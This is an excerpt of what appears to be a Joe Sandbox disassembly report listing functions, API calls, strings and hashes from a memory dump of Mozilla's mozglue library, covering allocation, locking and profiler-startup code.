WideCharToMultiByte.KERNEL32 ref: 6CB576F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB57705

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB57717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB5778F,00000000,00000000,00000000,00000000), ref: 6CB57731
free.MOZGLUE(00000000), ref: 6CB57760

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: e3efb9079008aa5d19223261f001dbfb443dd16f415e018d2fd66be214c69cb3
Instruction ID: 669b3ae12b5905e722f68790a8aec143d7655646a4d7700a403e9217581faa8b
Opcode Fuzzy Hash: e3efb9079008aa5d19223261f001dbfb443dd16f415e018d2fd66be214c69cb3
Instruction Fuzzy Hash: A811B2B1A053656FEB10AF769C44BABBEE8EF55354F144429F848A7300E77098548BE2

Function 6CB30D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAF3DEF), ref: 6CB30D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAF3DEF), ref: 6CB30D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAF3DEF), ref: 6CB30DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB30D97, 6CB30DBE
<jemalloc>, xrefs: 6CB30D92, 6CB30DB9

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 787b0c97e4e4f2c2de264983efce99c4ebe2381076fd19f1855d2930f23f7e94
Instruction ID: 70625882830c3965f593c29df42cfcbc83558db7bc33325ca57632febb0ef21a
Opcode Fuzzy Hash: 787b0c97e4e4f2c2de264983efce99c4ebe2381076fd19f1855d2930f23f7e94
Instruction Fuzzy Hash: 3EF05B223842F466D52115656C09B6A759DAFC1F55F245025FE1CDF9C0DA50E8044F76

Function 6CB47620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB475C4,?), ref: 6CB4762B

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB474D7,6CB515FC,?,?,?), ref: 6CB47644
GetCurrentThreadId.KERNEL32 ref: 6CB4765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB474D7,6CB515FC,?,?,?), ref: 6CB47663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB474D7,6CB515FC,?,?,?), ref: 6CB47677

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: e34756c97aca525e844b54e63b845f160d1a441e7cbe02a0758ed0f1591759ac
Instruction ID: e37437366e04f10232e3ababb2a80d03ad6601a615d1365ab411c565016392e8
Opcode Fuzzy Hash: e34756c97aca525e844b54e63b845f160d1a441e7cbe02a0758ed0f1591759ac
Instruction Fuzzy Hash: 8CF0AF71E10795ABE7018F21C888676B778FFEA259F115316FD0453601E7B0A5D08BE1

Function 6CB1D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB2CBE8: GetCurrentProcess.KERNEL32(?,6CAF31A7), ref: 6CB2CBF1
Part of subcall function 6CB2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAF31A7), ref: 6CB2CBFA

EnterCriticalSection.KERNEL32(6CB7E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D4F2
LeaveCriticalSection.KERNEL32(6CB7E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D50B

Part of subcall function 6CAFCFE0: EnterCriticalSection.KERNEL32(6CB7E784), ref: 6CAFCFF6
Part of subcall function 6CAFCFE0: LeaveCriticalSection.KERNEL32(6CB7E784), ref: 6CAFD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D52E
EnterCriticalSection.KERNEL32(6CB7E7DC), ref: 6CB1D690
LeaveCriticalSection.KERNEL32(6CB7E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB2D1C5), ref: 6CB1D751

Strings

MOZ_CRASH(), xrefs: 6CB1D4BB

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: d8890cdb17658afd7851e6d518b7f0d76616d6ff481bdf27c80654f4f0078e14
Instruction ID: c977a639021810f0477b28c9e9f8ee8d575228ce7fd46390ca3940d32f3ad197
Opcode Fuzzy Hash: d8890cdb17658afd7851e6d518b7f0d76616d6ff481bdf27c80654f4f0078e14
Instruction Fuzzy Hash: A4510471A087918FD725CF28C09475AB7E1EF89314F544A2ED9A9C7F84D774E840CB62

Function 6CB44630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB44721

Strings

-%llu, xrefs: 6CB44733
profiler-paused, xrefs: 6CB446E4
., xrefs: 6CB4476A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4bdd1eb4d9491bb65e2e5079de9e5b43b65168d359ac96668994d59e7a64d61b
Instruction ID: 595417f99385ae7116a2ea2542107d40d2a9faebceed8dff17811c7d81766396
Opcode Fuzzy Hash: 4bdd1eb4d9491bb65e2e5079de9e5b43b65168d359ac96668994d59e7a64d61b
Instruction Fuzzy Hash: 53418871E087489BCB08CF79E85116EBBE5EF85344F10C63DE859ABB85EB3098158B52

Function 6CB446E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB44721

Part of subcall function 6CAF4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB33EBD,00000017,?,00000000,?,6CB33EBD,?,?,6CAF42D2), ref: 6CAF4444

Strings

-%llu, xrefs: 6CB44733
profiler-paused, xrefs: 6CB446E4
., xrefs: 6CB4476A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 57668669f559a646ba03bc242f4c87f37de5a51f4296c0b2807318dbad4c070d
Instruction ID: bd09301dae5a6b1d27379196f64d14cc499a23fd35609c2fd58cb6bd74d8a5d7
Opcode Fuzzy Hash: 57668669f559a646ba03bc242f4c87f37de5a51f4296c0b2807318dbad4c070d
Instruction Fuzzy Hash: 9F317C71F042484BDB0CCFACD8912AEBBE6DB88314F14813DE8059BB44EB74D8058F91

Function 6CB4B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB33EBD,6CB33EBD,00000000), ref: 6CAF42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB4B127), ref: 6CB4B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB4B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB4B4E4

Strings

pid:, xrefs: 6CB4B4DE

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 848359d6635ad702a55f6f5b3de04b37aa170b14dd3fb593cb7e42a772462ff7
Instruction ID: a30b38c0aaa95391c1000e73f6ce3a49c9de5efa1c81965a8bacf9a54f3e040d
Opcode Fuzzy Hash: 848359d6635ad702a55f6f5b3de04b37aa170b14dd3fb593cb7e42a772462ff7
Instruction Fuzzy Hash: E0316431A05A98CFCB00CFA9C880AEEB7B5FF04318F584529DA1167A44D731E849DBF2

Function 6CB3E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB3E577
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3E584
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB3E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB3E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB3E826, 6CB3E850
MOZ_PROFILER_STARTUP, xrefs: 6CB3E5A1, 6CB3E5CC, 6CB3E5FF, 6CB3E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB3E722, 6CB3E750, 6CB3E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB3E655

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f71c7566bf650f4948489b96f037127f021147000b41ebb410ef84921ffa42be
Instruction ID: 89553ccf1398930dc0fbf05526aab44598e057c16a82f838d1018dd1c163c052
Opcode Fuzzy Hash: f71c7566bf650f4948489b96f037127f021147000b41ebb410ef84921ffa42be
Instruction Fuzzy Hash: 4211A131A042A8DFDB119F14C448A6EBBB8FB89368F010619ED5557B50C770A855CFF5

Function 6CB40C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB40CD5

Part of subcall function 6CB2F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB40D40
free.MOZGLUE ref: 6CB40DCB

Part of subcall function 6CB15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB15EDB
Part of subcall function 6CB15E90: memset.VCRUNTIME140(6CB57765,000000E5,55CCCCCC), ref: 6CB15F27
Part of subcall function 6CB15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB15FB2

free.MOZGLUE ref: 6CB40DDD
free.MOZGLUE ref: 6CB40DF2

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 076c735158b8cc5e897eb140fecea2c5a560a00b3296e5b930e768c9747a1c20
Instruction ID: e5cf89d426c5d9d9b86b62ac553d2a1bce96d05d48fcf29402e0ca466f869dcc
Opcode Fuzzy Hash: 076c735158b8cc5e897eb140fecea2c5a560a00b3296e5b930e768c9747a1c20
Instruction Fuzzy Hash: AF41067190C7909BD720CF29D0807AEFBE5BFD9614F108A2EE8D887B54D7709448DB92

Function 6CB4CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB3DA31,00100000,?,?,00000000,?), ref: 6CB4CDA4

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

Part of subcall function 6CB4D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB4CDBA,00100000,?,00000000,?,6CB3DA31,00100000,?,?,00000000,?), ref: 6CB4D158
Part of subcall function 6CB4D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB4CDBA,00100000,?,00000000,?,6CB3DA31,00100000,?,?,00000000,?), ref: 6CB4D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB3DA31,00100000,?,?,00000000,?), ref: 6CB4CDC4

Part of subcall function 6CB47480: ReleaseSRWLockExclusive.KERNEL32(?,6CB515FC,?,?,?,?,6CB515FC,?), ref: 6CB474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB3DA31,00100000,?,?,00000000,?), ref: 6CB4CECC

Part of subcall function 6CB0CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB0CAA2

Part of subcall function 6CB3CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB4CEEA,?,?,?,?,00000000,?,6CB3DA31,00100000,?,?,00000000), ref: 6CB3CB57
Part of subcall function 6CB3CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB3CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB4CEEA,?,?), ref: 6CB3CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB3DA31,00100000,?,?,00000000,?), ref: 6CB4D058

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 02a3bf1c2f083df13bd2690f19f841b254f516b32f685419afad8965d22ac046
Instruction ID: 8c6ab77750cf119f5683330938d7b9b130804a2be0ccaaa0e51908ab62af502e
Opcode Fuzzy Hash: 02a3bf1c2f083df13bd2690f19f841b254f516b32f685419afad8965d22ac046
Instruction Fuzzy Hash: 82D17F71A04B469FD708CF38C490799F7E1FF89304F01866DD85987756EB31A9A9CB81

Function 6CB15C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB15D40
EnterCriticalSection.KERNEL32(6CB7F688), ref: 6CB15D67
__aulldiv.LIBCMT ref: 6CB15DB4
LeaveCriticalSection.KERNEL32(6CB7F688), ref: 6CB15DED

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 26c15a6231098406b59c58111fe4e7b782da29f2598506c683d55618be698701
Instruction ID: d9e95d815c8e1acd49ede8ae8766ecc1682826d457c40d40e2077a8dd6736e75
Opcode Fuzzy Hash: 26c15a6231098406b59c58111fe4e7b782da29f2598506c683d55618be698701
Instruction Fuzzy Hash: 1F517F71E041798FCF09CF68C854AAEBBB1FB85314F19861DD811A7B50C730A945CBA4

Function 6CAFCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAFCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CAFCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CAFCF4E

Strings

0, xrefs: 6CAFCF30

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: df710a9ce10e6e06baa604153a9eaaef261ed557e686efecd31129ee8dab3276
Instruction ID: 73fa8b4c31870bbbaa41516c111298576b74a8791d911deca322a4eee63e877a
Opcode Fuzzy Hash: df710a9ce10e6e06baa604153a9eaaef261ed557e686efecd31129ee8dab3276
Instruction Fuzzy Hash: D1511271A002568FCB10CF19C490AAAFBB5EF99304F198199E8595F751D731AD46CBE0

Function 6CB36470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB382BC,?,?), ref: 6CB3649B

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB364A9

Part of subcall function 6CB2FA80: GetCurrentThreadId.KERNEL32 ref: 6CB2FA8D
Part of subcall function 6CB2FA80: AcquireSRWLockExclusive.KERNEL32(6CB7F448), ref: 6CB2FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB3653F
free.MOZGLUE(?), ref: 6CB3655A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: a83bba1467e7c23303d9368b0eb98f404a2911d5a8a9f10c41ee3fc5874ed723
Instruction ID: d2ebb763289b233e3412799b065f6b01fa67f47f880e4d9d5192574282974d12
Opcode Fuzzy Hash: a83bba1467e7c23303d9368b0eb98f404a2911d5a8a9f10c41ee3fc5874ed723
Instruction Fuzzy Hash: F2318FB5A043559FD700CF14D884A9EBBE4FF89314F01882EE85A87741DB34E908CB92

Function 6CB0B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0B4F5
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB0B502
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB0B542
free.MOZGLUE(?), ref: 6CB0B578

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 67ea7e028ffbbd11b37ec9f3919eb9b1e398d8d22d52fd8642cb4c24ab01084c
Instruction ID: 1727c134f0cb92adb88bba8535364fda8a602ba427f215880f91f3c43b9ca1e1
Opcode Fuzzy Hash: 67ea7e028ffbbd11b37ec9f3919eb9b1e398d8d22d52fd8642cb4c24ab01084c
Instruction Fuzzy Hash: 1811E131A04B91CBD3128F29C4047A6B7B0FF96318F10974AEC4953E01EBB0B5D48BA5

Function 6CB33DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CAFF20E,?), ref: 6CB33DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CAFF20E,00000000,?), ref: 6CB33DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB33E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB33E0E

Part of subcall function 6CB2CC00: GetCurrentProcess.KERNEL32(?,?,6CAF31A7), ref: 6CB2CC0D
Part of subcall function 6CB2CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAF31A7), ref: 6CB2CC16

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7366003149ab2e89b1c08a5a6ee7a8b35239c5b0b858f98645b9440470a07275
Instruction ID: fdd64d46ade43aecb9b1cd7f033e6e3dba5b0a0c3d24804fe271b91b996446fe
Opcode Fuzzy Hash: 7366003149ab2e89b1c08a5a6ee7a8b35239c5b0b858f98645b9440470a07275
Instruction Fuzzy Hash: A3F0FEB15402186BEB01AB54DC85DAF376DDB46625F040024FD0C57741D635B95586F6

Function 6CB485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB485D3

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB48725

Strings

map/set<T> too long, xrefs: 6CB48720

